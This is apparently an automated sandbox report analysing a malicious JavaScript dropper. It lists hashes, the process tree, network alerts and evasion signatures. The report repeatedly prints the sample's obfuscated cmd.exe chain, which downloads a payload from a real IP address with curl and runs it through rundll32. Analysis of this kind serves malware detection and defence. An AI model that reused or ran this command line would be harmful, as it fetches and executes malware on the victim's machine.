Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 17, 2023, 10:35 a.m.	Oct. 17, 2023, 10:37 a.m.

Size	413.6KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`a8715ee933ba762489a918d77d89030d`
SHA256	`33ff76dd3d786bcd47375faa318eec62bd80a317093bfa530a66af10177cba36`
CRC32	`361E75FC`
ssdeep	`6144:9j38P9IwPaHP79bvi5u9r9pMrSwz2mKFLeql5PVSaWdzEDO68I6ID:JOHKTtZWdzEwI6C`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\opt-66.js
3060
- cmd.exe "C:\Windows\System32\cmd.exe" /c A3ch || ecHo A3ch & ping A3ch || CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch || rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy
  2276
  - PING.EXE ping A3ch
    2400
  - curl.exe CuRl http://89.147.111.46/gWUA/hyper -o C:\Users\test22\AppData\Local\Temp\A3ch.log
    2484
  - PING.EXE ping -n 3 A3ch
    1632
  - rundll32.exe rUndLl32 C:\Users\test22\AppData\Local\Temp\A3ch.log scab /k haval462
    236

Name	Response	Post-Analysis Lookup
www.ssl.com	A 54.236.82.84 A 54.174.96.153	54.236.82.84

IP Address	Status	Action
164.124.101.2	Active	Moloch
54.174.96.153	Active	Moloch
89.147.111.46	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49167 -> 89.147.111.46:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.102:49167 -> 89.147.111.46:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 17, 2023, 10:35 a.m.	buffer: 'A3ch' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 17, 2023, 10:35 a.m.	buffer: A3ch console_handle: 0x00000007	1	1
WriteConsoleA Oct. 17, 2023, 10:35 a.m.	buffer: Ping request could not find host A3ch. Please check the name and try again. console_handle: 0x00000007	1	1
WriteConsoleA Oct. 17, 2023, 10:35 a.m.	buffer: Ping request could not find host A3ch. Please check the name and try again. console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 17, 2023, 10:35 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 17, 2023, 10:36 a.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x75d2d08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x75d2964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x75d14d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x75d16f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x75d1e825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x75d16002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x75d15fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x75d149e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x75d15a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x774a9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x774c8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x774c8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x74e87a25 rundll32+0x135c @ 0xae135c rundll32+0x1901 @ 0xae1901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x74e833ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x75d43ef4 registers.esp: 2488220 registers.edi: 0 registers.eax: 50393696 registers.ebp: 2488248 registers.edx: 1 registers.ebx: 0 registers.esi: 5777672 registers.ecx: 1944663764	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 17, 2023, 10:36 a.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x75d2d08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x75d2964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x75d14d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x75d16f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x75d1e825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x75d16002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x75d15fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x75d149e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x75d15a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x774a9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x774c8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x774c8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x74e87a25
rundll32+0x135c @ 0xae135c
rundll32+0x1901 @ 0xae1901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x74e833ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x75d43ef4
registers.esp: 2488220
registers.edi: 0
registers.eax: 50393696
registers.ebp: 2488248
registers.edx: 1
registers.ebx: 0
registers.esi: 5777672
registers.ecx: 1944663764

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://89.147.111.46/gWUA/hyper

Performs some HTTP requests (2 events)

request	GET http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt
request	GET http://89.147.111.46/gWUA/hyper

Allocates read-write-execute memory (usually to unpack itself) (2 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 17, 2023, 10:35 a.m.	process_identifier: 236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74261000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 17, 2023, 10:35 a.m.	process_identifier: 236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74263000 process_handle: 0xffffffff	1	0	0

Creates a suspicious process (2 events)

cmdline	cmd.exe /c A3ch \|\| ecHo A3ch & ping A3ch \|\| CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch \|\| rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy
cmdline	"C:\Windows\System32\cmd.exe" /c A3ch \|\| ecHo A3ch & ping A3ch \|\| CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch \|\| rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Oct. 17, 2023, 10:35 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c A3ch \|\| ecHo A3ch & ping A3ch \|\| CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch \|\| rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy filepath: cmd.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 17, 2023, 10:35 a.m.	flags: 15 family: 0		111	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	ping -n 3 A3ch
cmdline	cmd.exe /c A3ch \|\| ecHo A3ch & ping A3ch \|\| CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch \|\| rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy
cmdline	ping A3ch
cmdline	"C:\Windows\System32\cmd.exe" /c A3ch \|\| ecHo A3ch & ping A3ch \|\| CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch \|\| rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy

Communicates with host for which no DNS query was performed (1 event)

host

89.147.111.46

Wscript.exe initiated network communications indicative of a script based payload download (1 event)

Time & API	Arguments	Status	Return	Repeated
WSASend Oct. 17, 2023, 10:35 a.m.	buffer: GET /repository/SSLcomRootCertificationAuthorityRSA.crt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/6.1 Host: www.ssl.com socket: 960		0	0

Network communications indicative of a potential document or script payload download was initiated by the process wscript.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
WSASend Oct. 17, 2023, 10:35 a.m.	buffer: GET /repository/SSLcomRootCertificationAuthorityRSA.crt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/6.1 Host: www.ssl.com socket: 960		0	0

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	cmd.exe /c A3ch \|\| ecHo A3ch & ping A3ch \|\| CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch \|\| rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy
parent_process	wscript.exe				martian_process	"C:\Windows\System32\cmd.exe" /c A3ch \|\| ecHo A3ch & ping A3ch \|\| CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch \|\| rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3060 resumed a thread in remote process 2276
NtResumeThread Oct. 17, 2023, 10:35 a.m.	thread_handle: 0x00000530 suspend_count: 1 process_identifier: 2276	1	0	0

The process wscript.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\cmd.exe

opt-66.js

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